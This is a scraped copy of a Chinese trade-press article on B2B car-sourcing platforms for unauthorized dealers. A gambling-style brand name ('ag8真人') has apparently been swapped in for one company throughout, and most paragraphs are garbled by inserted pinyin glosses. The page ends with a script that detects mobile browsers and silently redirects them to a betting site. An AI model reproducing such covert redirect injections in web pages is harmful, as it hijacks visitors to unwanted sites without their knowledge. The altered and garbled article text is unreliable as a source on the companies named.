ag8真人

EN
ag8真人

汽车B2B平台在冷静与热情之间奋力突围 | 中国汽车报

发布日期(qi): 2021-07-09
分享:

近日,ag8真人正式推出ag8真人好车,字节跳动旗下懂车帝推出卖车通App,不约而同地加入为汽车经销商和购车方提供交易服务的B2B车源平台赛道。这让该赛道的“老司机”卖好车CEO李研珠(别名:胡斐)在微信朋友圈里不由感慨:这个行业总算没那么寂寞了,参与者越多,行业越好。

这几(ji)年(nian),汽车(che)(che)(che)销量(liang)走向缓慢增(zeng)长甚至负增(zeng)长,经销商(shang)(shang)销售承压,非(fei)授权(quan)经销商(shang)(shang)因市场持续下沉而优(you)势凸显,并在(zai)(zai)汽车(che)(che)(che)销售政策调整下拥有了名分,甚至在(zai)(zai)业内展露头角(jiao)。在(zai)(zai)互联网技术和(he)资本浪(lang)潮的(de)冲击下,服务(wu)于非(fei)授权(quan)经销商(shang)(shang)的(de)B2B车(che)(che)(che)源平台应运而生,并获得(de)业内认(ren)可。该赛道在(zai)(zai)经历几(ji)轮洗牌后,既有卖好(hao)(hao)车(che)(che)(che)、车(che)(che)(che)镇探(tan)索前行,也有曾被看好(hao)(hao)的(de)行圆宣(xuan)告失(shi)败。如今,更多玩家(jia)的(de)闯(chuang)入,或许(xu)会带(dai)来(lai)新的(de)气(qi)象。

汽车B2B平台在冷静与热情之间奋力突围中国汽车报

业务延伸 押宝B2B车源赛道

“ag8真人好车”由美国上市汽车交易(yi)(yi)服(fu)(fu)务(wu)平台(tai)ag8真人集团旗下子公司(si)(si)——上海ag8真人网(wang)络科技有限公司(si)(si)推出,是一个面(mian)向经销商(shang)的(de)B2B服(fu)(fu)务(wu)平台(tai),致力(li)于为车商(shang)提供专(zhuan)业、高效、透明(ming)、便捷的(de)汽车信息(xi)与交易(yi)(yi)、物流、金融、保险等服(fu)(fu)务(wu)。作(zuo)为集团汽车交易(yi)(yi)业务(wu)的(de)承载主(zhu)体,依托母公司(si)(si)ag8真人集团深(shen)入(ru)汽车流通“毛细(xi)血管”的(de)网(wang)络和(he)地面(mian)能力(li),ag8真人网(wang)科在广(guang)阔下沉市场布(bu)局。

ag8真人集(ji)团副(fu)总裁(cai)兼ag8真人网科总经(jing)理谷(gu)敏介绍,目前市场上(shang)的(de)(de)(de)B2B汽车(che)(che)(che)(che)交易(yi)(yi)平台,通(tong)常是(shi)先有互联网平台,继而(er)再通(tong)过地推铺设线(xian)下渠道。而(er)ag8真人深耕车(che)(che)(che)(che)金融保(bao)险(xian)领域十余载,已经(jing)搭建起覆(fu)盖全国、深植(zhi)低线(xian)级市场的(de)(de)(de)渠道网络,连接5万家实体(ti)经(jing)销(xiao)商,服务近200万购车(che)(che)(che)(che)用户(hu)。现(xian)在通(tong)过ag8真人好车(che)(che)(che)(che)切入汽车(che)(che)(che)(che)交易(yi)(yi)领域,只是(shi)现(xian)有业务的(de)(de)(de)自然延伸。无论(lun)是(shi)金融保(bao)险(xian)还是(shi)交易(yi)(yi),围绕的(de)(de)(de)主体(ti)都(dou)是(shi)车(che)(che)(che)(che),ag8真人希望(wang)通(tong)过整(zheng)合车(che)(che)(che)(che)源、金融、保(bao)险(xian)等服务,更(geng)好地赋能车(che)(che)(che)(che)商。

与此同(tong)时,字节跳动旗下的(de)懂车帝也推出(chu)了(le)一(yi)(yi)款名为(wei)“卖车通”的(de)App,为(wei)汽(qi)车经销(xiao)商和购车方提供交易服务。实际(ji)上,懂车帝在2018年(nian)就推出(chu)SaaS服务系统卖车通,这是一(yi)(yi)款专为(wei)汽(qi)车经销(xiao)商设计的(de)、可实现个性化营销(xiao)的(de)智能集客系统。此次上线(xian)独立的(de)App,可以(yi)看做(zuo)是对该系统的(de)一(yi)(yi)次重大(da)升级(ji)。

字节跳动系(xi)统性地布局买(mai)车(che)、卖(mai)(mai)车(che)的业务(wu)。懂车(che)帝(di)利用(yong)平台(tai)优势(shi),以“技术+内容”的双驱动手段锁定(ding)海量潜在购(gou)车(che)用(yong)户,通过(guo)用(yong)户行为轨(gui)迹、用(yong)户留(liu)资画像、大(da)数(shu)据(ju)算(suan)法推送等技术优势(shi),实现销售线索的智能(neng)分发,再配(pei)合卖(mai)(mai)车(che)通,可实现从(cong)内容到售车(che)的闭环。

据了解,懂车帝(di)的收入来源主要(yao)是车企与(yu)经(jing)销(xiao)商(shang),然而在车市低迷和疫情突袭(xi)的双重冲击下,车企预算减少,经(jing)销(xiao)商(shang)面临经(jing)营压力(li)、资(zi)金吃紧,在此(ci)背(bei)景下,懂车帝(di)扩大服务范围、开辟新业务、拓展新的盈利渠道(dao),也(ye)是顺理成章的事(shi)。

摸索前行 头部平台虚位以待

相较快消品等领域而言,汽车(che)由于是重资产投(tou)入,有其(qi)特殊(shu)性。回(hui)顾这些年B2B车(che)源(yuan)平台赛道的发展,各企(qi)业一路(lu)求索,胡斐将(jiang)此大概(gai)总结为三个阶(jie)段。

第一个阶段是2012年前后,车行(xing)168平(ping)台出现,开始(shi)提供车源(yuan)信息。

第二个阶段是2014年前后,出现(xian)了以牛(niu)牛(niu)汽车、省心宝(bao)为代表的平台(tai)(tai),利用(yong)信(xin)息差进行撮合交易(yi)。但不同于其他行业的“两(liang)头信(xin)息分散(san)”,汽车行业是上游(you)车源(yuan)信(xin)息集中,而下游(you)车商信(xin)息分散(san),一(yi)旦两(liang)端互(hu)相接(jie)洽,撮合平台(tai)(tai)价值(zhi)就会(hui)降低,业务范围也会(hui)随之(zhi)缩减。

直至2016年,以(yi)服(fu)(fu)(fu)务(wu)(wu)切入B2B汽车(che)(che)(che)流通领域的平(ping)台开始出现。以(yi)卖好车(che)(che)(che)为例,凭借供(gong)应链(lian)金融切入市(shi)场,为大(da)型汽车(che)(che)(che)经(jing)销商(shang)(俗称(cheng)“大(da)B”、“中B”)三四线城(cheng)市(shi)的汽车(che)(che)(che)超市(shi)、汽车(che)(che)(che)城(cheng)、汽车(che)(che)(che)卖场、夫妻店等(deng)(deng)(俗称(cheng)“小B”)提(ti)(ti)供(gong)资(zi)金、仓储物流,进而提(ti)(ti)供(gong)车(che)(che)(che)源(yuan)等(deng)(deng)服(fu)(fu)(fu)务(wu)(wu)。当时,胡斐将卖好车(che)(che)(che)定位(wei)于为车(che)(che)(che)商(shang)提(ti)(ti)供(gong)“带拉货的支付(fu)宝”。历经(jing)5年to B服(fu)(fu)(fu)务(wu)(wu)的深耕,卖好车(che)(che)(che)形成(cheng)了服(fu)(fu)(fu)务(wu)(wu)闭环,并建立(li)起(qi)了行业壁垒(lei),成(cheng)为首个面向B端整合(he)服(fu)(fu)(fu)务(wu)(wu)出售会(hui)员产(chan)品(pin)的企业。

正(zheng)是(shi)因为非授权经销商(shang)缺(que)乏稳定的(de)(de)货源和快速为消费者履约的(de)(de)能力,B2B车源平(ping)台才有存在的(de)(de)价(jia)值。但长期以来,非授权经销商(shang)是(shi)游走在灰色地(di)带的(de)(de)“非正(zheng)式渠道”,其(qi)低价(jia)销售(shou)一(yi)定程度上(shang)挤压(ya)了(le)授权经销商(shang)的(de)(de)利润,一(yi)度遭到厂家的(de)(de)打压(ya)。之后随着汽车市场供大于求,产能过剩带来销售(shou)压(ya)力增大,厂家对非授权经销商(shang)的(de)(de)态度才逐(zhu)渐转为默许(xu),甚至合作。

车企(qi)对非授权渠道(dao)的(de)不(bu)重视,使车源(yuan)极不(bu)稳定,导致(zhi)B2B车源(yuan)平台始(shi)终在(zai)摸(mo)索前行(xing),至今仍未出现明(ming)星(xing)企(qi)业(ye)。谷(gu)敏指出,目前的(de)痛点(dian)在(zai)于,下(xia)(xia)沉市(shi)场车商对供应链(lian)组织的(de)柔性要求极高(gao),目前还没(mei)有形(xing)成高(gao)效的(de)下(xia)(xia)沉市(shi)场的(de)供应链(lian)组织形(xing)态。

与此同时,行业(ye)还缺乏(fa)兼(jian)具交(jiao)易(yi)、金融、保险及渠道落(luo)地能(neng)力的平台(tai)。总体(ti)而(er)言,下沉市场(chang)仍(reng)然(ran)存在着较大的产(chan)业(ye)整(zheng)合、升级的空间。但预计(ji)随着宏观(guan)及产(chan)业(ye)环境的急剧(ju)变化(hua),市场(chang)将逐步(bu)往一(yi)体(ti)化(hua)、系统化(hua)的方向发展,有望形成头部平台(tai)。

汽车B2B平台在冷静与热情之间奋力突围中国汽车报

大有可为 互联网大厂纷纷入局

情况正在(zai)(zai)发(fa)生转(zhuan)变,近来(lai)(lai)可(ke)以(yi)看到(dao),包括字节跳动、京东、百度(du)、腾讯、易(yi)车等(deng)互联网大(da)厂(chang)纷纷杀入,以(yi)期(qi)在(zai)(zai)B2B车源领(ling)域分一杯羹。谷敏(min)分析,在(zai)(zai)“衣(yi)食(shi)住行(xing)”里,车这(zhei)个场景是“行(xing)”的关(guan)键入口。随着国家三(san)胎政策的出台,汽(qi)车也成为越来(lai)(lai)越重要的家庭流量(liang)入口。这(zhei)个场景,体量(liang)规模(mo)够大(da)、足(zu)够有想象力,对互联网大(da)厂(chang)而言,是必须(xu)抢占的赛道。

在(zai)我国,汽(qi)(qi)(qi)车保有(you)量(liang)(liang)较高,但因为(wei)人口(kou)基数(shu)大(da),导致人均汽(qi)(qi)(qi)车占有(you)率仍然非常之低(di),潜(qian)在(zai)需求巨大(da)。与此同时,在(zai)传统4S授权模式下,有(you)近50%的汽(qi)(qi)(qi)车销量(liang)(liang)是(shi)来自于(yu)综合汽(qi)(qi)(qi)贸店。这(zhei)也(ye)就意味着,有(you)近一半的终端消费者需求,是(shi)在(zai)4S渠(qu)道覆(fu)盖不到的地方、来自于(yu)更(geng)低(di)线级(ji)的市(shi)场。如何将(jiang)汽(qi)(qi)(qi)车资源(yuan)及服务更(geng)好(hao)地提供给消费者,是(shi)个重要课(ke)题,也(ye)在(zai)汽(qi)(qi)(qi)车业升级(ji)转型的当(dang)下大(da)有(you)可为(wei)。

目前,我国一年的(de)乘(cheng)用车(che)(che)销(xiao)量(liang)约(yue)为2400万辆,而(er)(er)罗兰贝格(ge)等咨(zi)询(xun)公司的(de)数(shu)据显示,其中约(yue)有50%左右的(de)销(xiao)量(liang)是(shi)由二网、三网完成的(de)。另(ling)据不完全(quan)统计,我国2万家4S店(dian)之外(wai),还有8万家非授权(quan)经销(xiao)商,也就是(shi)说,这些车(che)(che)商每(mei)年卖出约(yue)1200万辆车(che)(che),相当(dang)于每(mei)家每(mei)月销(xiao)售约(yue)12.5辆,而(er)(er)每(mei)家4S店(dian)月均销(xiao)售50辆。这样粗略估算(suan)起(qi)来,每(mei)家非授权(quan)经销(xiao)商的(de)销(xiao)量(liang)相当(dang)于4S店(dian)的(de)1/3,体量(liang)不容小觑。

中国(guo)汽车(che)(che)流通(tong)协会副秘(mi)书(shu)长郎学红分析(xi),特(te)别(bie)是(shi)进入以智(zhi)能网(wang)联为代表的新(xin)(xin)能源(yuan)汽车(che)(che)时(shi)(shi)代,一(yi)大(da)特(te)点就是(shi)机构用(yong)户(hu)(hu)占比(bi)较(jiao)大(da)。在燃(ran)油车(che)(che)时(shi)(shi)代,机构用(yong)户(hu)(hu)的占比(bi)不到(dao)(dao)5%,而新(xin)(xin)能源(yuan)时(shi)(shi)代这(zhei)个数字可能达(da)到(dao)(dao)50%左右,随着出(chu)行平台(tai)日渐壮大(da)和细分,各(ge)类出(chu)行公(gong)(gong)司、公(gong)(gong)务市政用(yong)车(che)(che)、国(guo)有(you)企业等都将采购新(xin)(xin)能源(yuan)汽车(che)(che),互(hu)联网(wang)大(da)厂看到(dao)(dao)这(zhei)样的发(fa)展空(kong)间势必会跃跃欲试。

“大(da)咖来了,这个市场终(zhong)于不那么寂寞了。”胡斐(fei)说(shuo),大(da)平台(tai)大(da)张旗鼓地切(qie)入一个市场,必然经过深思熟虑,说(shuo)明这一赛道大(da)有(you)可为,“我们也(ye)无(wu)须(xu)再(zai)费(fei)力(li)教(jiao)育市场,讲述这里的空间(jian)有(you)多大(da)、价值有(you)多大(da),只需要说(shuo),你(ni)看懂车帝都(dou)来了。”

持续迭代 蕴藏商业机会

长(zhang)期以(yi)来(lai)(lai),在(zai)中国低线级(ji)市场这些传统4S渠道(dao)难以(yi)覆盖到的(de)地方,消费者都是通(tong)过零散(san)的(de)综合汽贸在(zai)获取(qu)汽车相(xiang)关的(de)服(fu)务,汽车产(chan)品丰富程度受限且(qie)品质及服(fu)务质量难保证(zheng)。近年来(lai)(lai),对(dui)规范化(hua)、品质化(hua)和品牌化(hua)汽车服(fu)务的(de)呼声越来(lai)(lai)越高(gao)。与(yu)此同时,中国新(xin)能源车弯(wan)道(dao)超(chao)车,也亟需新(xin)的(de)渠道(dao)模式,为产(chan)业带来(lai)(lai)生机。

但对(dui)于(yu)B2B车(che)源(yuan)平台,郎学红却有着(zhe)不同的(de)看(kan)法(fa)。她认为,如果车(che)辆(liang)从B到(dao)B然后(hou)到(dao)C,增(zeng)加(jia)了渠道环节,并(bing)非(fei)真(zhen)正意义上的(de)B2B平台,只是(shi)一个阶(jie)段性(xing)的(de)产物(wu),发(fa)展空间有限(xian)。这样的(de)平台拿(na)到(dao)的(de)多是(shi)非(fei)热(re)销的(de)库(ku)存车(che),面向(xiang)的(de)是(shi)价格相对(dui)敏感的(de)低线城市的(de)非(fei)优质客户。而(er)真(zhen)正的(de)B2B车(che)源(yuan)平台,购车(che)方应(ying)该(gai)是(shi)出行(xing)(xing)平台、出行(xing)(xing)服务平台、经营租赁公司等车(che)队用户,但他(ta)们(men)势(shi)必会绕过平台直接(jie)向(xiang)车(che)企采(cai)购车(che)辆(liang)。

那(nei)么(me)这类平台未(wei)来(lai)的(de)发展方向在(zai)哪儿(er)?在(zai)郎学红看(kan)来(lai),一是做直(zhi)租,未(wei)来(lai)车企很可(ke)能涉(she)及直(zhi)租业务,但目前碍于组织架构和财务模(mo)型等因素(su),尚(shang)存(cun)一个空白期(qi),B2B车源平台可(ke)以抓住这个机会;二是在(zai)此基础上提供与车企金融有(you)差异化(hua)且(qie)更(geng)全面的(de)服务,包括维修、保养(yang)、能源补给等。

谷(gu)敏也(ye)坦言(yan),ag8真人好(hao)车(che)是(shi)朝着S2B2C的模式演进的,即整(zheng)合上游资源,赋能下游车(che)商(shang),最(zui)终为(wei)(wei)消费者(zhe)(zhe)提供(gong)升级的服(fu)务体验。对ag8真人而言(yan),做(zuo)B2B车(che)源平台,不是(shi)停(ting)留在为(wei)(wei)车(che)商(shang)提供(gong)资源、服(fu)务车(che)商(shang),而是(shi)以此为(wei)(wei)起点(dian),志在为(wei)(wei)服(fu)务消费者(zhe)(zhe),提供(gong)标(biao)准化、品质化和品牌化的购车(che)服(fu)务。

胡斐(fei)也认(ren)为(wei),车(che)源服务应(ying)该只是汽车(che)交(jiao)易流通(tong)生态中(zhong)的(de)一(yi)环(huan)。汽车(che)本质上是一(yi)种(zhong)标准化(hua)产品(pin),不(bu)应(ying)该存(cun)在严重(zhong)的(de)信息(xi)不(bu)对称。但(dan)(dan)现实是这种(zhong)信息(xi)错配(pei)却极为(wei)显著,说明车(che)源共享的(de)现状很糟糕。未来(lai)这种(zhong)状态一(yi)定会得到(dao)改善,但(dan)(dan)如何为(wei)占据汽车(che)交(jiao)易半壁江山(shan),将来(lai)同样是下(xia)沉市(shi)场(chang)重(zhong)要交(jiao)付节点的(de)中(zhong)小车(che)商(shang)服务,是一(yi)个长(zhang)期而巨大的(de)商(shang)业机会。

“帮助非(fei)授(shou)权中小车商(shang)服务(wu)好客户,包括培训、金融、物流、保险、维(wei)修、营(ying)销、客户关系维(wei)护、如何玩转私域流量(liang)等(deng),未来(lai)的汽车交(jiao)易服务(wu)B2B车源(yuan)平台能做的事情还有很多。而行业头部企业一定是这些环(huan)节(jie)的组织者。”胡斐说(shuo)。

汽车B2B平台在冷静与热情之间奋力突围 | 中国汽车报

>>延伸阅读

B2B车源(yuan)平台(tai)特色一览(lan)

·卖好车

卖好(hao)车是(shi)国内(nei)最大的(de)(de)汽车流通(tong)服务(wu)平(ping)台,通(tong)过“三网(wang)(wang)一(yi)(yi)端做交(jiao)付(fu)”的(de)(de)产(chan)业互(hu)联(lian)网(wang)(wang)模式,大幅提高(gao)了汽车流通(tong)行业整体(ti)效率,是(shi)汽车流通(tong)环节的(de)(de)组织者。“三网(wang)(wang)一(yi)(yi)端做交(jiao)付(fu)”是(shi)通(tong)过仓(cang)网(wang)(wang)、运网(wang)(wang)和(he)资金端服务(wu),编织出基于中小车商的(de)(de)店网(wang)(wang),从而构建出一(yi)(yi)个新的(de)(de)全国性(xing)交(jiao)付(fu)网(wang)(wang)络(luo),探索符合(he)未来市场需求(qiu)的(de)(de)高(gao)效渠道新模式。

“仓(cang)(cang)网(wang)”目的是(shi)解决汽车流通环(huan)节中最核心的仓(cang)(cang)储问题(ti),在(zai)此基础上(shang)实(shi)现流通资产数字化。目前卖好车已经在(zai)全国(guo)范围内建设342个智(zhi)能化标(biao)准仓(cang)(cang),总库位超(chao)2万个。

“运(yun)网(wang)(wang)”是通(tong)过仓网(wang)(wang)+运(yun)网(wang)(wang)的(de)体系打破车源分散的(de)状态,加(jia)速流(liu)(liu)转(zhuan)。目前物(wu)流(liu)(liu)线路1.8万多(duo)条,物(wu)流(liu)(liu)效率比传统平台提(ti)升60%以上。

“店网”将分(fen)散在全(quan)国的8万(wan)多家(jia)小(xiao)车商纳(na)入新的数字化流通体系中(zhong),成为一个高效灵活、满(man)足(zu)未来汽车零(ling)售(shou)市场的超级(ji)渠道。

卖好车(che)(che)在供应(ying)链端提供了(le)(le)完整的交易(yi)服务,包括资(zi)金(jin)、车(che)(che)源(yuan)、仓储、物流等,不(bu)仅解决了(le)(le)中小车(che)(che)商(shang)的困(kun)境,还帮助上(shang)游主机厂和大车(che)(che)商(shang)更(geng)高效(xiao)地向下游中小车(che)(che)商(shang)分销车(che)(che)源(yuan),提升供应(ying)链效(xiao)率(lv)60%以上(shang)。截(jie)至(zhi)2020年底,卖好车(che)(che)细(xi)分市(shi)场占有率(lv)已超过50%。

·车镇

经过近6年的(de)(de)发展(zhan),车(che)(che)(che)(che)镇已打(da)通全国(guo)70%的(de)(de)上(shang)下游车(che)(che)(che)(che)商(shang),形(xing)成(cheng)了在线(xian)上(shang)撮合(he)交易、供应链金(jin)融(rong)(rong)、消费(fei)金(jin)融(rong)(rong)、集采车(che)(che)(che)(che)源(yuan)(yuan)、汽车(che)(che)(che)(che)物流(liu)等B2B产业链服(fu)(fu)务(wu)(wu)上(shang)的(de)(de)优势(shi)。目前,车(che)(che)(che)(che)镇已覆盖(gai)全国(guo)10万家车(che)(che)(che)(che)商(shang),每天实时约90万条(tiao)车(che)(che)(che)(che)源(yuan)(yuan)信息,年撮合(he)交易超(chao)过1000亿元(yuan),供应链金(jin)融(rong)(rong)累计放款超(chao)过215亿元(yuan)。2021年4月,车(che)(che)(che)(che)镇车(che)(che)(che)(che)源(yuan)(yuan)V8.0上(shang)线(xian),以大数据为基础进(jin)行(xing)金(jin)融(rong)(rong)资源(yuan)(yuan)整合(he)和(he)服(fu)(fu)务(wu)(wu)升(sheng)级(ji),开启二(er)手(shou)车(che)(che)(che)(che)车(che)(che)(che)(che)源(yuan)(yuan)和(he)供应链服(fu)(fu)务(wu)(wu),致(zhi)力(li)于打(da)造一站式(shi)汽车(che)(che)(che)(che)流(liu)通产业链服(fu)(fu)务(wu)(wu)平台。

ag8真人好(hao)车

十(shi)年(nian)市(shi)场深耕(geng),与下(xia)沉市(shi)场车(che)(che)商(shang)(shang)相伴同行,ag8真人对车(che)(che)商(shang)(shang)的(de)(de)痛点(dian)(dian)和(he)诉求有(you)了深刻理解,并(bing)且拥(yong)有(you)对三四(si)五线城(cheng)市(shi)车(che)(che)商(shang)(shang)及客群的(de)(de)精(jing)准画像,可以切实有(you)效地(di)服(fu)务下(xia)沉市(shi)场车(che)(che)商(shang)(shang),解决(jue)其(qi)业(ye)务痛点(dian)(dian)。ag8真人好(hao)车(che)(che)全(quan)方位整(zheng)合车(che)(che)源、金融(rong)、保险、供应链(lian)、物流(liu)、仓(cang)储(chu)等(deng)(deng)能力,并(bing)逐步延伸至CRM、DMS等(deng)(deng)车(che)(che)商(shang)(shang)核心运营(ying)环节,进而(er)提升整(zheng)个产业(ye)的(de)(de)效率,旨(zhi)在为车(che)(che)商(shang)(shang)提供更好(hao)的(de)(de)服(fu)务,又满足消费(fei)者多(duo)样化需求。

·卖车(che)通

卖车(che)(che)通(tong)希望打造线上线下联动售(shou)车(che)(che)机制,提升车(che)(che)源流(liu)通(tong)和交付效(xiao)率,降低汽车(che)(che)行业的(de)流(liu)通(tong)成本,为经(jing)销(xiao)商提供(gong)销(xiao)货渠道,同(tong)时惠(hui)及(ji)零售(shou)用户和普通(tong)用户。车(che)(che)源则是经(jing)销(xiao)商发布的(de)卖车(che)(che)信(xin)(xin)息(xi),除(chu)了汽车(che)(che)的(de)基本信(xin)(xin)息(xi)外,还会显示比指(zhi)导(dao)价更低的(de)车(che)(che)源价,以及(ji)信(xin)(xin)息(xi)的(de)有效(xiao)期(qi)。买方可(ke)以对需(xu)求(qiu)信(xin)(xin)息(xi)进行筛选,便(bian)于(yu)找到适合的(de)车(che)(che)源。

文(wen):郝文(wen)丽 编辑:焦玥 版式:王琨


来源(yuan):中(zhong)国(guo)汽车报

原(yuan)文链接:

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();